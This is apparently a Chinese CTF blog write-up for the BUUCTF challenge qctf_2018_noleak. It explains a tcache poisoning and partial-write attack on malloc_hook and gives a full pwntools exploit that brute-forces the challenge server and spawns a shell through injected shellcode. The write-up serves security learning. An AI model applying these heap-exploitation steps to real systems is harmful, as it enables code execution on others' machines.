(BUUCTF)qctf_2018_noleak

前置知识

  • fastbin attack
  • partial write

整体思路

网上的思路大多是用unsafe unlink来达成任意地址写,从而打malloc_hook,感觉有点画蛇添足,毕竟已经有tcache poisoning可以进行任意地址写了。

先说下我的思路,先打tcache poisoning,往bss段写shellcode,然后释放一个large chunkunsortedbinlarge chunk不会添加到tcache),然后先让tcache bin中的chunk进行一个double free使其指向自己,然后利用partial write指向unsortedbin中的fd指针(这里需要爆破1bit)。随后edit这个unsortedbinfd指针,使其指向malloc_hook,然后申请tcache几次把malloc_hook申请回来。往malloc_hook里面写shellcodebss段的地址,然后触发malloc即可。

很疑惑的一点是,这里我通过vmmap查看bss段是不可执行的,可以执行的段实际上是stack,这段代码在我本地也打不通,但是看网上的wp利用unlink也是在bss写的shellcode。而远程确实可以打通。

exp

from pwn import *
from LibcSearcher import *

filename = './QCTF_2018_NoLeak'
context(log_level='debug', arch='amd64')
local = 0
all_logs = []
elf = ELF(filename)
libc = ELF('/glibc/2.27-3ubuntu1_amd64/libc.so.6')



def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

choice_words = 'Your choice :'

menu_add = 1
add_index_words = ''
add_size_words = 'Size: '
add_content_words = 'Data: '

menu_del = 2
del_index_words = 'Index: '

menu_show = 3
show_index_words = 'Idx: '

menu_edit = 3
edit_index_words = 'Index: '
edit_size_words = 'Size: '
edit_content_words = 'Data: '

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)


def exp(sh):
    add(size=0x4f0, content='1') # 0
    add(size=0xf0, content='1') # 1
    delete(index=1)
    edit(index=1, content=p64(0x601100))
    payload = asm(shellcraft.amd64.linux.sh())
    add(size=0xf0, content='1') # 2
    add(size=0xf0, content=payload) # 3

    add(size=0x80, content='1') # 4
    delete(index=0)

    delete(index=4)
    delete(index=4)
    edit(index=0, size=0x10, content=p8(0x30))
    edit(index=4, size=0x10, content=p16(0xa260))
    add(size=0x80, content='11') # 5
    add(size=0x80, content='111') # 6
    add(size=0x80, content=p64(0x601100))

    sh.sendlineafter('Your choice :', '1')
    sh.sendlineafter('Size: ', '50')
    sh.interactive()

while True:
    try:
        if local:
            sh = process(filename)
        else:
            sh = remote('node4.buuoj.cn', 28973)
        
        exp(sh)
    except:
        sh.close()
        continue
# debug()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值